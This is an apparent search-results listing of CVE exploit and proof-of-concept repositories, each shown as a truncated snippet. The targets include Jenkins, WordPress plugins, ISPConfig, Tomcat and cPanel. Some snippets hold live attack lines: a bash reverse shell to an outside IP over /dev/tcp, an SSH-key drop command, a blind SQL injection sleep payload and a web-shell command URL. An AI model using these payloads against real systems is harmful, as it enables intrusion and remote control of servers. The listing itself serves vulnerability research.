110011 matches found
CVE-2025-53652-Jenkins-Git-Parameter-Analysis
CVE-2025-53652: Jenkins Git Parameter Plugin Unvalidated Input Vulnerability. Summary This vulnerability arises because user-controlled input from Jenkins build parameters is injected unsafely into the Git checkout command. User input is provided as a build parameter e.g., gitParameters, which ca...
CVE-2025-25964
CVE-2025-25964: SQL Injection in School Information Management System v1.0 Introduction In today's digital landscape, SQL Injection SQLi remains one of the most common and dangerous vulnerabilities found in web applications. This blog post discusses a critical SQL Injection vulnerability...
cve-2025-4664
CVE-2025-4664 This repository contains a PoC for exploiting CVE-2025-4664, a vulnerability where Chromium-based browsers leak sensitive URL parameters through Link header preload requests. Resources For a detailed explanation of how this exploit works, read the blog post:...
CVE-2023-24775-and-CVE-2023-24780
CVE-2023-24775-and-CVE-2023-24780 my python poc 2023-24780 and CVE-2023-24775 this sqli cve funadmin This is a repository with a poc exploit for python cve sqli funadmin. CVE-2023-24774 - https://nvd.nist.gov/vuln/detail/CVE-2023-24780 Vulnerable version of Funadmin v3.2.0 Vulnerability via id...
CVE-2024-47533
root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...
chackd
chackd chackd is a daemon which randomize each second the kernel parameter tcpchallengeacklimit to prevent side channel attacks Introduction A shortly presented side-channel attack has given strong attention of the community 1 . For lots of servers or smartphone devices this attack considered...
CVE-2024-9796
CVE-2024-9796 WordPress WP-Advanced-Search = 5.0.12 time-based blind IF - comment Payload: t=wpautosuggest&f=ifnow=sysdate,SLEEP9,0-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5×tamp=13672261755853'...
CVE-2023-46818
CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Bash CVE-2023-46818 Authenticated PHP Code Injection in ISPConfig for more details: advisory CVE-2023-46818 PoC Introduction ISPConfig versions Note: This exploit requires valid ISPConfig admin credentials and will deploy a command web she...
CVE-2021-25076
CVE-2021-25076-Exploit Wordpress Plugin WP User Frontend 3.5.26 - SQL-Injection Authenticated CVE description: The WP User Frontend WordPress plugin before 3.5.26 does not validate and escape the status parameter before using it in a SQL statement in the Subscribers dashboard, leading to an SQL...
CVE-2018-20580
CVE-2018-20580 A proof of concept for ReadyAPI 2.5.0/2.6.0 Remote Code Execution with interactions. Intro In December 2018 I found a new vulnerability in the ReadyAPI. It allows an attacker to execute a remote code on the local machine putting in danger the ReadyAPI users including developers,...
CVE-2025-24813-apache-tomcat
CVE-2025-24813 Nuclei Template CVE-2025–24813 root@kitploit: nuclei -l list.txt -t CVE-2025–24813.yaml execute shell root@kitploit: http://target.com/updates.jsp?cmd=whoami...
CVE-2025-48703
🛡️ CVE-2025-48703 - Remote Code Execution RCE in cPanel File Manager 📌 Description CVE-2025-48703 is a Remote Code Execution RCE vulnerability in the filemanager module of a web hosting control panel e.g., cPanel. It occurs due to unsanitized input handling in the acc=changePerm function, which...
CVE-2020-9758
CVE-2020-9758 Description An issue was discovered in chat.php in LiveZilla Live Chat 8.0.1.3 Helpdesk. A blind JavaScript injection lies in the name parameter. Triggering this can fetch the username and passwords of the helpdesk employees in the URI. This leads to a privilege escalation, from...
CVE-2025-25968
CVE-2025-25968: Vulnerabilidad de Control de Acceso Inadecuado en DDSN Interactive cm3 Acora CMS versión 10.1.1 DDSN Interactive cm3 Acora CMS versión 10.1.1 contiene una vulnerabilidad de control de acceso inadecuado. Un usuario con privilegios de editor puede acceder a información sensible, com...
CVE-2020-24148
CVE-2020-24148 Server-side request forgery SSRF in the Import XML and RSS Feeds import-xml-feed plugin 2.0.1 for WordPress via the data parameter in a moovereadxml action. Vulnerable code: /moove-actions.php: root@kitploit: ... public function moovereadxml $args = array 'data' = escsql wpunslash...
CVE-2023-34840
...
CVE-2023-34598
Gibbon v25.0.0 - Inclusión de Archivos Locales - CVE-2023-34598 Gibbon v25.0.0 es vulnerable a una vulnerabilidad de Inclusión de Archivos Locales LFI donde es posible incluir el contenido de varios archivos presentes en la carpeta de instalación en la respuesta del servidor. Prueba de Concepto...
CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
PRTG-Network-Monitor-Information-Disclosure - CVE-2020-11547 Un usuario remoto no autenticado puede crear una solicitud HTTP en /public/login.htm o /index.htm proporcionando el parámetro 'type'. Ejemplo: http://127.0.0.1/public/login.htm?type=probes Reemplace probes por cualquiera de los siguient...
CVE-2021-39433
CVE-2021-39433 A local file inclusion LFI vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-use...
CVE-2023-34830---Reflected-XSS-found-in-I-doit-Open-v24-and-below
CVE-2023-34830 - Reflected XSS found in i-doit Open v24 and below i-doit Open v24 and below are vulnerable to Reflected XSS vulnerability. These vulnerabilities could allows remote authenticated attackers to inject arbitrary web script or HTML. Description of product : i-doit is a web based Open...